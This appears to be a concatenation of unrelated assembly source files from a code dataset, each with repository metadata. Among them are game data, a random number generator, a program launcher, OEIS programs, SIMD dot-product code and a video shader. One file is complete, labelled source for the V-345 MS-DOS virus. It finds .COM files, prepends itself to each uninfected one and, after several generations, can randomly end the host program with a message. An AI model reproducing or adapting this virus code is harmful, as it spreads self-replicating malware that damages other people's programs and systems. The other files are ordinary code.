null
null
Variables/AIRuntimeData.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
null
null
null
; -- Ship AI data UBnKShipType DB 0 UBnKspeed DB 0 ; INWK +27 UBnKAccel DB 0 ; INWK +28 UBnKRotXCounter DB 0 ; INWK +29 UBnKRotZCounter DB 0 ; INWK +30 UBnKexplDsp DB 0 ; INWK +31 clear exploding/display state|missiles ; Flags work as follows: ; 7 - Flag ship to be killed with debris ; 6 - Invisible/Erase (also mentions Laser Firing?) ; 5 - Ship is exploding if set ; 4 - ; 3 - Display state - Plot as a Dot ; 2 - Nbr of Missiles bit 2 ; 1 - Nbr of Missiles bit 1 ; 0 - Nbr of Missiles bit 0 UBnkaiatkecm DB 0 ; INWK +32 ai_attack_univ_ecm i.e. AI type UBnkCam0yLo DB 0 ; INWK +33 ???? UBnkCam0yHi DB 0 ; INWK +34????? UbnKEnergy DB 0 ; INWK +35 ; Flags work as follows: ;Bit Description ;#0 Trader flag * 0 = not a trader * 1 = trader ; 80% of traders are peaceful and mind their own business plying their trade between the planet and space station, but 20% of them moonlight as bounty hunters (see bit #1) ; Ships that are traders: Escape pod, Shuttle, Transporter, Anaconda, Rock hermit, Worm ;#1 Bounty hunter flag * 0 = not a bounty hunter* 1 = bounty hunter ; If we are a fugitive or a serious offender and we bump into a bounty hunter, they will become hostile and attack us (see bit #2) ; Ships that are bounty hunters: Viper, Fer-de-lance ;#2 Hostile flag * 0 = not hostile * 1 = hostile ; Hostile ships will attack us on sight; there are quite a few of them ; Ships that are hostile: Sidewinder, Mamba, Krait, Adder, Gecko, Cobra Mk I, Worm, Cobra Mk III, Asp Mk II, Python (pirate), Moray, Thargoid, Thargon, Constrictor ;#3 Pirate flag * 0 = not a pirate * 1 = pirate ; Hostile pirates will attack us on sight, but once we get inside the space station safe zone, they will stop ; Ships that are pirates: Sidewinder, Mamba, Krait, Adder, Gecko, Cobra Mk I, Cobra Mk III, Asp Mk II, Python (pirate), Moray, Thargoid ;#4 Docking flag * 0 = not docking * 1 = docking ; Traders with their docking flag set fly towards the space station to try to dock, otherwise they aim for the planet ; This flag is randomly set for traders when they are spawned ; Ships that can be docking: Escape pod, Shuttle, Transporter, Anaconda, Rock hermit, Worm ;#5 Innocent bystander * 0 = normal * 1 = innocent bystander ; If we attack an innocent ship within the space station safe zone, then the station will get angry with us and start spawning cops ; Ships that are innocent bystanders: Shuttle, Transporter, Cobra Mk III, Python, Boa, Anaconda, Rock hermit, Cougar ;#6 Cop flag * 0 = not a cop * 1 = cop ; If we destroy a cop, then we instantly become a fugitive (the Transporter isn't actually a cop, but it's clearly under police protection) ; Ships that are cops: Viper, Transporter ;#7 Scooped, docked, escape pod flag ; For spawned ships, this flag indicates that the ship been scooped or has docked (bit 7 is always clear on spawning) ; For blueprints, this flag indicates whether the ship type has an escape pod fitted, so it can launch it when in dire straits ; Ships that have escape pods: Cobra Mk III, Python, Boa, Anaconda, Rock hermit, Viper, Mamba, Krait, Adder, Cobra Mk I, Cobra Mk III (pirate), Asp Mk II, Python (pirate), Fer-de-lance
79.02
206
0.586687
9ba127763c8e23c625e019616941f03886f2b620
1,089
asm
Assembly
zx81/xorshift.asm
michaelcmartin/bumbershoot
d465d18997c5651bb1d71488705b0d6e1271660c
[ "MIT" ]
20
2016-06-22T10:04:48.000Z
2022-03-13T23:16:10.000Z
zx81/xorshift.asm
michaelcmartin/bumbershoot
d465d18997c5651bb1d71488705b0d6e1271660c
[ "MIT" ]
null
null
null
zx81/xorshift.asm
michaelcmartin/bumbershoot
d465d18997c5651bb1d71488705b0d6e1271660c
[ "MIT" ]
2
2016-12-19T02:31:06.000Z
2020-02-04T02:56:27.000Z
rnd: ;; t = x ^ (x << 5) [t = DE] defb $11 ; LD DE, ** rnd_x: defw $0001 ld a, e ld c, d ld b, 5 rnd_0: sla a rl d djnz rnd_0 xor a, e ld e, a ld a, c xor a, d ld d, a ;; t ^= t >> 3 [t = DE] [A is already D] ld c, e ld b, 3 rnd_1: srl a rr e djnz rnd_1 xor a, d ld d, a ld a, c xor a, e ld e, a ;; x = y [t = DE, y = HL] defb $21 ; LD HL, ** rnd_y: defw $0001 ld (rnd_x), hl ;; y ^= (y >> 1) ^ t [t = DE, y = HL] ld a, h ld c, l srl a rr l xor a, h xor a, d ld h, a ld a, l xor a, c xor a, e ld l, a ;; Store out y ld (rnd_y), hl ;; return y (still in HL) ret
23.673913
50
0.266299
8158e452b761d46143d91014b9514370d4ecc527
5,516
asm
Assembly
main.asm
dejbug/suro
9672518c5ab4475bb7c4caff24f16163e75c69dd
[ "MIT" ]
null
null
null
main.asm
dejbug/suro
9672518c5ab4475bb7c4caff24f16163e75c69dd
[ "MIT" ]
4
2020-02-15T14:00:03.000Z
2020-02-15T14:18:25.000Z
main.asm
dejbug/suro
9672518c5ab4475bb7c4caff24f16163e75c69dd
[ "MIT" ]
null
null
null
; 14 Feb 2020 / Dejan Budimir / <dejbug@gmail.com> ccall(funcname,%2,%3,%4,%5,%6) MACRO #if ARGCOUNT=1 INVOKE funcname #elif ARGCOUNT=2 INVOKE funcname,%2 #elif ARGCOUNT=3 INVOKE funcname,%2,%3 #elif ARGCOUNT=4 INVOKE funcname,%2,%3,%4 #elif ARGCOUNT=5 INVOKE funcname,%2,%3,%4,%5 #elif ARGCOUNT=6 INVOKE funcname,%2,%3,%4,%5,%6 #endif #if ARGCOUNT>1 ADD esp, ARGCOUNT-1*4 #endif ENDM DUMP(%1) MACRO #if DEBUG > 0 PUSH eax,ebx,ecx,edx,esi,edi ; ccall (wprintf, ADDR L'%1 = %08X (%d)', %1, %1) ; INVOKE Endl PUSH %1 PUSH %1 PUSH ADDR L'%1 = %08X (%d)' CALL wprintf ADD ESP, 12 INVOKE Endl POP edi,esi,edx,ecx,ebx,eax #endif ENDM DUMPS(%1) MACRO #if DEBUG > 0 PUSH eax,ebx,ecx,edx,esi,edi PUSH %1 PUSH %1 PUSH ADDR L'%1 = %08X |%s|' CALL wprintf ADD ESP, 12 INVOKE Endl POP edi,esi,edx,ecx,ebx,eax #endif ENDM ERROR_NONE = 0 ERROR_MODULE_NAME = 1 ERROR_MODULE_NAME_EXT = 2 ERROR_NO_CONFIG_OR_BAT = 3 ERROR_TOO_MANY_ARGS = 4 ERROR_SPAWN = 5 ERROR_SPAWN_FILE_NOT_FOUND = 6 ERROR_SPAWN_NOT_EXE = 7 ERROR_SPAWN_OUT_OF_MEM = 8 MAX_PATH = 260 MAX_CONFIG_PATH_SIZE = MAX_PATH + 8 _P_WAIT = 0 _P_OVERLAY = 2 ENOENT = 2 ENOEXEC = 8 ENOMEM = 12 DATA SECTION configPath DW MAX_CONFIG_PATH_SIZE DUP ? configPathLength DD 0 configLine DW 2048 DUP ? argc dd 0 CONST SECTION lineScanFormat DW L'%2048[^', 13, 10, L']' CODE SECTION Endl: #if DEBUG > 0 PUSH ADDR <13,0,10,0,0,0> CALL wprintf ADD ESP, 4 #endif RET PrintString FRAME text #if DEBUG > 0 ccall (wprintf, [text]) #endif RET ENDF OpenFileForReading FRAME path ccall (_wfopen, [path], ADDR L"rt") RET ENDF GetExePath FRAME path, size INVOKE GetModuleFileNameW, 0, [path], MAX_PATH MOV [size], eax ; Ensure result is at least 4 chars long. CMP eax, 8 ; assert(eax >= wstrlen(L".exe")) JGE >.ok INVOKE PrintString, ADDR <L"! couldn't retrieve exe path",13,0,10,0,0,0> INVOKE ExitProcess, ERROR_MODULE_NAME .ok RET ENDF SetExt FRAME path, size, ext USES ebx LOCALS extPtr .moveToExt ccall (wcsrchr, [path], 2Eh) TEST eax, eax JNZ >.next MOV eax, [path] ; eax is either [path] or the right-most dot's char-address. .next MOV ebx, eax SUB ebx, [path] SHR ebx, 1 ; ebx is 0 or the offset to the extension. NEG ebx ADD ebx, [size] ; ebx is the number of available output chars. .replaceExt ccall (wcsncpy, eax, [ext], ebx) ; Make sure the string is zero-terminated. MOV D[eax+ebx*2-2], 0 RET ENDF TryOpenWithExt FRAME templatePath, ext INVOKE SetExt, [templatePath], MAX_CONFIG_PATH_SIZE, [ext] INVOKE OpenFileForReading, [templatePath] RET ENDF OpenConfig FRAME templatePath INVOKE TryOpenWithExt, [templatePath], ADDR L'.path' TEST eax, eax JNZ >.ok INVOKE TryOpenWithExt, [templatePath], ADDR L'.bat' TEST eax, eax JZ >.fnf ccall (fclose, eax) JMP >.ok .fnf INVOKE PrintString, L"! no config file was found" INVOKE ExitProcess, ERROR_NO_CONFIG_OR_BAT .ok RET ENDF InitConfigLine FRAME handle MOV eax, [handle] TEST eax, eax JZ >.noConfigDoBat INVOKE ReadLineAndClose, eax, ADDR configLine MOV eax, _P_OVERLAY JMP >.end .noConfigDoBat ccall (wcscpy, ADDR configLine, ADDR configPath) MOV eax, _P_WAIT .end RET ENDF ReadLineAndClose FRAME handle, buffer ccall (fwscanf, [handle], ADDR lineScanFormat, [buffer]) ccall (fclose, [handle]) RET ENDF SkipArgv0 FRAME text USES ecx, edi CLD ccall (wcslen, [text]) MOV ecx, eax MOV edi, [text] MOV ax, L'"' SCASW JNE >.next1 ; Looking for the next '"'. REPNE SCASW TEST ecx, ecx JZ >.end ; Skipping all the consecutive '"'. ; This is garbage added by the '^"' escape sequence. REPE SCASW JMP >.next2 .next1 MOV ax, L' ' REPNE SCASW TEST ecx, ecx JNZ >.end .next2 TEST ecx, ecx JNZ >.end DEC edi DEC edi .end MOV eax, edi RET ENDF AppendCommandLineArgumentsToConfigLine FRAME INVOKE GetCommandLineW INVOKE SkipArgv0, eax ccall (wcscat, ADDR configLine, eax) RET ENDF PrintTokenizedCommandLine FRAME argv, argc #if DEBUG > 1 USES ebx MOV eax, [argv] DUMP([argc]) DUMPS([eax+0]) XOR ebx, ebx .loop CMP ebx, [argc] JGE >.next INC ebx DUMPS([eax+4*ebx]) JMP .loop .next #endif RET ENDF Spawn FRAME argv, argc MOV eax, [argv] PUSH eax PUSH [eax] #ifdef CONSOLE PUSH _P_WAIT #else PUSH _P_OVERLAY #endif CALL _wspawnvp ADD esp,12 TEST eax, eax JZ >.ok CMP eax, -1 JE >.spawnErrorM1 JMP >.ok .spawnErrorM1: call _errno mov eax, [eax] cmp eax, ENOENT je >.errnoENOENT cmp eax, ENOEXEC je >.errnoENOEXEC cmp eax, ENOMEM je >.errnoENOMEM INVOKE ExitProcess, ERROR_SPAWN .errnoENOENT: INVOKE ExitProcess, ERROR_SPAWN_FILE_NOT_FOUND .errnoENOEXEC: INVOKE ExitProcess, ERROR_SPAWN_NOT_EXE .errnoENOMEM: INVOKE ExitProcess, ERROR_SPAWN_OUT_OF_MEM .ok: RET ENDF start: INVOKE GetExePath, ADDR configPath, ADDR configPathLength INVOKE OpenConfig, ADDR configPath INVOKE InitConfigLine, eax INVOKE AppendCommandLineArgumentsToConfigLine INVOKE CommandLineToArgvW, eax, ADDR argc ; INVOKE PrintTokenizedCommandLine, eax, [argc] INVOKE Spawn, eax, [argc] INVOKE ExitProcess, 0 RET
14.402089
74
0.656998
980afcbace242c3f40cd54ae0a0959828903c0ee
474
asm
Assembly
programs/oeis/137/A137913.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/137/A137913.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/137/A137913.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A137913: Rows 2, 4, 6 of Mendeleyev-Seaborg (extended to 32 columns) periodic table elements. ; 3,4,5,6,7,8,9,10,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86 mov $2,$0 add $2,1 mov $3,$2 mov $2,2 mov $4,$0 mov $0,$3 add $0,1 mov $1,2 lpb $0 sub $0,1 add $1,$2 trn $2,3 add $2,4 mul $2,2 trn $0,$2 add $0,1 lpe lpb $4 add $1,1 sub $4,1 lpe sub $1,1
18.230769
168
0.603376
78782246c35304e49891750556fd58035fb27546
939
asm
Assembly
src/misc.asm
kshitej/HobOs
21cbe04a882389d402f936eaf0e1dd4c15a140be
[ "0BSD" ]
9
2016-07-07T18:12:27.000Z
2022-03-11T06:41:38.000Z
src/misc.asm
solson/spideros
a9c34f3aec10283d5623e821d70c2d9fb5fce843
[ "0BSD" ]
null
null
null
src/misc.asm
solson/spideros
a9c34f3aec10283d5623e821d70c2d9fb5fce843
[ "0BSD" ]
null
null
null
bits 32 section .text ;;; void loadGDT(gdt::GdtPtr*) global loadGDT loadGDT: push eax mov eax, [esp+0x8] lgdt [eax] pop eax ;; Reload CS register containing code selector. ;; We can't directly alter CS, so we far jump to change it jmp 0x08:.reload_CS ; 0x08 points at the new code selector (2nd in our GDT) .reload_CS: ;; Reload data segment registers. mov ax, 0x10 ; 0x10 points at the new data selector (3rd in our GDT) mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ret extern interruptHandler global interruptCommon interruptCommon: pusha push ds push es push fs push gs mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov eax, esp push eax call interruptHandler pop eax pop gs pop fs pop es pop ds popa add esp, 4 iret
18.78
81
0.585729
548611837290d72158c65c3975fc9b111ff6ddf4
871
asm
Assembly
vars.asm
hemerfc/T-RexGameBoy
41a6e62dd490d4fb748fd357f5c055d250d6e3ba
[ "BSD-2-Clause" ]
null
null
null
vars.asm
hemerfc/T-RexGameBoy
41a6e62dd490d4fb748fd357f5c055d250d6e3ba
[ "BSD-2-Clause" ]
null
null
null
vars.asm
hemerfc/T-RexGameBoy
41a6e62dd490d4fb748fd357f5c055d250d6e3ba
[ "BSD-2-Clause" ]
null
null
null
;------------- ; Ram variables etc ;------------- SECTION "RAM Vars",WRAM0[$C000] ;vblank stuffs vblank_flag: DB vblank_count: DB ; high -------------------------- low ;AND -> down/up/left/right/start/select/a/b joypad_down: DB joypad_pressed: DB joypad_released: DB ;player vars player_y: DB player_x: DB player_y2: DB player_x2: DB player_y3: DB player_x3: DB player_frame: DB player_state: DB player_jump_speed: DB ;enemy vars enemy_y: DB enemy_x: DB enemy_frame: DB ;various things game_over: DB game_won: DB cam_x: DB cam_y: DB ;------------- ; OAM DATA ;------------- SECTION "OAM Vars",WRAM0[$C100] oam_sprites: DS 7
19.355556
43
0.475316
a82d23848568e408a24b87aabbf845f4da66884b
2,804
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.v-345.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.v-345.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.v-345.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
page ,132 name V345 title V-345 - a mutation of the V-845 virus .radix 16 code segment assume cs:code,ds:code org 100 timer equ 6C olddta equ 80 virlen = offset endcode - offset start newid = offset ident - offset start start: jmp short virus ident dw 'VI' counter db 0 allcom db '*.COM',0 progbeg dd ? eof dw ? newdta db 2C dup (?) fname equ offset newdta+1E virus: push ax mov ax,cs ;Move program code add ax,1000 ; 64K bytes forward mov es,ax inc [counter] mov si,offset start xor di,di mov cx,virlen rep movsb mov dx,offset newdta ;Set new Disk Transfer Address mov ah,1A ;Set DTA int 21 mov dx,offset allcom ;Search for '*.COM' files mov cx,110b ;Normal, Hidden or System mov ah,4E ;Find First file int 21 jc done ;Quit if none found mainlp: mov dx,fname mov ax,3D02 ;Open file in Read/Write mode int 21 mov bx,ax ; Save handle push es pop ds mov dx,virlen mov cx,0FFFF ;Read all bytes (64K max in .COM file) mov ah,3F ;Read from handle int 21 ;Bytes read in AX add ax,virlen mov cs:[eof],ax ;Save pointer to the end of file cmp ds:[newid+virlen],'VI' ;Infected? je close ;Go find next file if so xor cx,cx ;Go to file beginning mov dx,cx mov ax,4200 ;LSEEK from the beginning of the file int 21 jc close ;Leave this file if error occures xor dx,dx ;Write the whole code (virus+file) mov cx,cs:[eof] ; back onto the file mov ah,40 ;Write to handle int 21 close: mov ah,3E ;Close the file int 21 push cs pop ds ;Restore DS mov ah,4F ;Find next matching file int 21 jc done ;Exit if all found jmp mainlp ;Otherwise loop again done: mov dx,olddta ;Restore old Disk Transfer Address mov ah,1A ;Set DTA int 21 cmp [counter],5 ;If counter goes above 5, jb progok ; the program becomes "sick" mov ax,40 mov ds,ax ;Get the system timer value mov ax,word ptr [timer] push cs pop ds ;Restore DS and ax,1 ;At random (if timer value is odd) jz progok ; display the funny message mov dx,offset message mov ah,9 ;Print string int 21 int 20 ;Terminate program message db 'Program sick error:Call doctor or ' db 'buy PIXEL for cure description',0A,0Dh,'$' progok: mov si,offset transf ;Move this part of code mov cx,offset endcode - offset transf ;Code length xor di,di ;Move to ES:0 rep movsb ;Do it pop bx ; BX = old AX mov word ptr cs:[progbeg],0 mov word ptr cs:[progbeg+2],es ;Point progbeg at program start jmp cs:[progbeg] ;Jump at program start transf: push ds pop es mov si,offset endcode mov di,offset start mov cx,0FFFF ;Restore original program's code sub cx,si rep movsb mov word ptr cs:[start],offset start mov word ptr cs:[start+2],ds mov ax,bx jmp dword ptr cs:[start] ;Jump to program start endcode label byte int 20 ;Dummy program code ends end start 
20.925373
63
0.707204
2e643d2a4151911499dfe23f4d02c1939a566713
1,713
asm
Assembly
4-periodo/arquitetura-e-organizacao-de-computadores-2/ExemplosDeCodigo/parOuImpar_atualizado.asm
lucasmc64/the-graduation-journey
46ed6a1b9a063186e6035c6ae6efe600eeb87592
[ "MIT" ]
null
null
null
4-periodo/arquitetura-e-organizacao-de-computadores-2/ExemplosDeCodigo/parOuImpar_atualizado.asm
lucasmc64/the-graduation-journey
46ed6a1b9a063186e6035c6ae6efe600eeb87592
[ "MIT" ]
1
2021-04-08T13:15:01.000Z
2021-04-08T13:15:01.000Z
4-periodo/arquitetura-e-organizacao-de-computadores-2/ExemplosDeCodigo/parOuImpar_atualizado.asm
lucasmc64/the-graduation-journey
46ed6a1b9a063186e6035c6ae6efe600eeb87592
[ "MIT" ]
1
2021-04-08T11:39:46.000Z
2021-04-08T11:39:46.000Z
#parOuImpar.asm # #DESC: Programa que le um inteiro da entrada padrao, testa se ele e par ou impar e informa ao usuario. #DAA 15.03.2021 #int main() { # ... # ... # ... # return 0; #} #---------------------------------------------------------------------------------------------------- .macro done li $v0,10 syscall .end_macro .macro leInteiro # valor lido em $v0 li $v0, 5 syscall .end_macro .macro imprimeStr(%str) li $v0, 4 la $a0, %str syscall .end_macro .macro imprimeInt(%num) li $v0, 1 add $a0, $zero, %num syscall .end_macro .data str1: .asciiz "Programa que testa a paridade de um numero lido do teclado \n" str2: .asciiz "Digite um numero: " str3: .asciiz "O num. eh par\n" str4: .asciiz "O num. eh impar " .text #imprimir na tela uma mensagem informando o proposito do programa #printf("Programa que testa a paridade de um numero lido do teclado \n"); imprimeStr(str1) #la $a0, str1 #addi $v0, $zero, 4 #syscall #ler um numero inteiro (pular o teste de adequacao da entrada) imprimeStr(str2) #la $a0, str2 #addi $v0, $zero, 4 #syscall addi $v0, $zero, 5 syscall add $s7, $zero, $v0 #move o int lido para o reg s7 #testar se o numero lido e par ou impar & informar ao usuario a paridade do numero lido (1&X = X) addi $s0, $zero, 1 #(0b0000 0000 0000 0000 0000 0000 0000 0001) and $t0, $s7, $s0 # int & 1 beq $t0, $zero, PAR IMPAR: #la $a0, str4 #addi $v0, $zero, 4 #syscall imprimeStr(str4) imprimeInt($s7) j SAI PAR: #la $a0, str3 #addi $v0, $zero, 4 #syscall imprimeStr(str3) imprimeInt($s7) #informa ao SO que o programa terminou sem erros (return 0) SAI: #addi $v0, $zero, 10 #syscall done
20.152941
102
0.609457
5575aa529ee8d28a2be0d6562040994f0050741a
4,577
asm
Assembly
chap18/ex20/avx512_vector_dp.asm
JamesType/optimization-manual
61cdcebb16e0768a6ab7e85ed535e64e9d8cc31a
[ "0BSD" ]
374
2021-06-08T10:42:01.000Z
2022-03-29T14:21:45.000Z
chap18/ex20/avx512_vector_dp.asm
JamesType/optimization-manual
61cdcebb16e0768a6ab7e85ed535e64e9d8cc31a
[ "0BSD" ]
1
2021-06-11T20:24:02.000Z
2021-06-11T20:24:02.000Z
chap18/ex20/avx512_vector_dp.asm
JamesType/optimization-manual
61cdcebb16e0768a6ab7e85ed535e64e9d8cc31a
[ "0BSD" ]
39
2021-06-08T11:25:29.000Z
2022-03-05T05:14:17.000Z
; ; Copyright (C) 2021 by Intel Corporation ; ; Permission to use, copy, modify, and/or distribute this software for any ; purpose with or without fee is hereby granted. ; ; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH ; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY ; AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, ; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM ; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR ; OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR ; PERFORMANCE OF THIS SOFTWARE. ; ; .globl avx512_vector_dp ; double avx512_vector_dp(const uint32_t *a_index, const double *a_value, ; const uint32_t *b_index, const double *b_value, ; uint64_t max_els); ; ; On entry: ; rcx = a_index ; rdx = a_value ; r8 = b_index ; r9 = b_value ; [rsp+96] = max_els _RDATA SEGMENT READ ALIGN(64) 'DATA' all_31s DQ 0000001f0000001fh DQ 0000001f0000001fh DQ 0000001f0000001fh DQ 0000001f0000001fh DQ 0000001f0000001fh DQ 0000001f0000001fh DQ 0000001f0000001fh DQ 0000001f0000001fh upconvert_control DQ 0000000000000000h DQ 0000000000000001h DQ 0000000000000002h DQ 0000000000000003h DQ 0000000000000004h DQ 0000000000000005h DQ 0000000000000006h DQ 0000000000000007h _RDATA ENDS .code avx512_vector_dp PROC public push rbx push rsi push rbp push r12 push r13 push r14 push r15 mov rsi, [rsp+96] mov rbp, rsp and rsp, -10h sub rsp, 112 vmovaps xmmword ptr[rsp], xmm6 vmovaps xmmword ptr[rsp+16], xmm7 vmovaps xmmword ptr[rsp+32], xmm8 vmovaps xmmword ptr[rsp+48], xmm9 vmovaps xmmword ptr[rsp+64], xmm10 vmovaps xmmword ptr[rsp+80], xmm11 vmovaps xmmword ptr[rsp+96], xmm12 mov r11, rsi sub r11, 8 xchg r8, rcx ; mov r8, A_index xor rbx, rbx xchg r9, rbx ; mov r9, A_offset ; mov rdx, A_value mov r12, rcx ; mov r12, B_index xor r13, r13 ; mov r13, B_offset ; mov rbx, B_value vpxord zmm4, zmm4, zmm4 lea r14, all_31s ; mov r14, all_31s // array of {31, 31, ...} vmovaps zmm2, [r14] lea r15, upconvert_control ; mov r15, upconvert_control // array of {0, 7, 0, 6, 0, 5, 0, 4, 0, 3, 0, 2, 0, 1, 0, 0} vmovaps zmm1, [r15] vpternlogd zmm0, zmm0, zmm0, 255 mov eax, 21845 kmovw k1, eax ; odd bits set loop1: cmp r9, r11 ja vector_end cmp r13, r11 ja vector_end ; read 8 indices for A vmovdqu ymm5, YMMWORD PTR [r8+r9*4] ; read 8 indices for B, and put ; them in the high part of zmm6 vinserti64x4 zmm6, zmm5, YMMWORD PTR [r12+r13*4], 1 vpconflictd zmm7, zmm6 ; extract A vs. B comparisons vextracti64x4 ymm8, zmm7, 1 ; convert comparison results to ; permute control vplzcntd zmm9, zmm8 vptestmd k2, zmm8, zmm0 vpsubd zmm10, zmm2, zmm9 ; upconvert permute controls from ; 32b to 64b, since data is 64b vpermd zmm11{k1}, zmm1, zmm10 ; Move A values to corresponding ; B values, and do FMA vpermpd zmm12{k2}{z}, zmm11, [rdx+r9*8] vfmadd231pd zmm4, zmm12, [rbx+r13*8] ; Update the offsets mov eax, dword ptr [r8+r9*4+28] mov r10d, dword ptr [r12+r13*4+28] cmp eax, r10d ja a_has_biggest_index jb b_has_biggest_index add r9, 8 add r13, 8 jmp loop1 a_has_biggest_index: vpcmpd k3, ymm5, DWORD bcst[r12+r13*4+28], 1 add r13, 8 kmovd eax, k3 lzcnt eax, eax add r9, 32 sub r9, rax jmp loop1 b_has_biggest_index: vextracti64x4 ymm5, zmm6, 1 vpcmpd k3, ymm5, DWORD bcst [r8+r9*4+28], 1 add r9, 8 kmovd eax, k3 lzcnt eax, eax add r13, 32 sub r13, rax jmp loop1 vector_end: vextracti64x4 ymm3, zmm4, 1 vaddpd ymm4, ymm3, ymm4 vextracti32x4 xmm3, ymm4, 1 vzeroupper vaddpd xmm0, xmm3, xmm4 haddpd xmm0, xmm0 scalar_loop: cmp r9, rsi jae end_loop cmp r13, rsi jae end_loop mov r10d, dword ptr [r8+r9*4] mov r11d, dword ptr [r12+r13*4] cmp r10d, r11d jne skip_fma ; // do the fma on a match movsd xmm5, QWORD PTR [rbx+r13*8] mulsd xmm5, QWORD PTR [rdx+r9*8] addsd xmm0, xmm5 inc r9 inc r13 jmp scalar_loop skip_fma: jae increment_b inc r9 jmp scalar_loop increment_b: inc r13 jmp scalar_loop end_loop: vmovaps xmm6, xmmword ptr[rsp] vmovaps xmm7, xmmword ptr[rsp+16] vmovaps xmm8, xmmword ptr[rsp+32] vmovaps xmm9, xmmword ptr[rsp+48] vmovaps xmm10, xmmword ptr[rsp+64] vmovaps xmm11, xmmword ptr[rsp+80] vmovaps xmm12, xmmword ptr[rsp+96] mov rsp, rbp pop r15 pop r14 pop r13 pop r12 pop rbp pop rsi pop rbx ret avx512_vector_dp ENDP end
21.288372
117
0.709635
3c0e851b00d1a0fa1ed3f8b93d3e57cc26fc6095
2,057
asm
Assembly
src/shaders/h264/mc/loadRef_C_10x5.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/h264/mc/loadRef_C_10x5.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/h264/mc/loadRef_C_10x5.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
/* * Load reference 10x5 area for chroma NV12 4x4 MC * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ // Kernel name: LoadRef_C_10x5.asm // // Load reference 10x5 area for chroma NV12 4x4 MC //#if !defined(__LOADREF_C_10x5__) // Make sure this is only included once //#define __LOADREF_C_10x5__ #if 1 // Compute integer and fractional components of MV asr (2) gMVX_INT<1>:w r[pMV,0]<2;2,1>:w 0x03:w {NoDDClr} and (2) gMVX_FRACC<1>:w r[pMV,0]<2;2,1>:w 0x07:w {NoDDChk} // Check whether MVY is integer or.z.f0.0 (8) null:w gMVY_FRACC<0;1,0>:w 0:w // Compute top-left corner position to be loaded mov (2) gMSGSRC.0<1>:d gMVX_INT<2;2,1>:w shl (1) gMSGSRC.0:d gMSGSRC.0:d 1:w (f0.0) add (1) pMSGDSC:ud gMSGDSC_R:ud RESP_LEN(2)+nBI_LC_DIFF:ud (-f0.0) add (1) pMSGDSC:ud gMSGDSC_R:ud RESP_LEN(3)+nBI_LC_DIFF:ud // Read 16x5 pixels - TODO: Reading 12x5 instead of 16x5 took more time on CL. Why? (f0.0) mov (1) gMSGSRC.2:ud 0x00030009:ud //{NoDDChk} (-f0.0) mov (1) gMSGSRC.2:ud 0x00040009:ud //{NoDDChk} send (8) gudREFC(0)<1> mMSGHDRC gMSGSRC<8;8,1>:ud DAPREAD pMSGDSC:ud #else add (1) pMSGDSC:ud gMSGDSC_R:ud RESP_LEN(3)+nBI_LC_DIFF:ud // Compute integer and fractional components of MV asr (2) gMVX_INT<1>:w r[pMV,0]<2;2,1>:w 0x03:w {NoDDClr} and (2) gMVX_FRACC<1>:w r[pMV,0]<2;2,1>:w 0x07:w {NoDDChk} // Compute top-left corner position to be loaded mov (2) gMSGSRC.0<1>:d gMVX_INT<2;2,1>:w shl (1) gMSGSRC.0:d gMSGSRC.0:d 1:w // Read 16x5 pixels mov (1) gMSGSRC.2:ud 0x00040009:ud {NoDDChk} send (8) gudREFC(0)<1> mMSGHDRC gMSGSRC<8;8,1>:ud DAPREAD pMSGDSC:ud #endif //#endif // !defined(__LOADREF_C_10x5__)
35.465517
88
0.623238
c70e6ade5a97bafc3d6f8b453104304b49a2aa43
324
asm
Assembly
programs/oeis/133/A133494.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/133/A133494.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/133/A133494.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
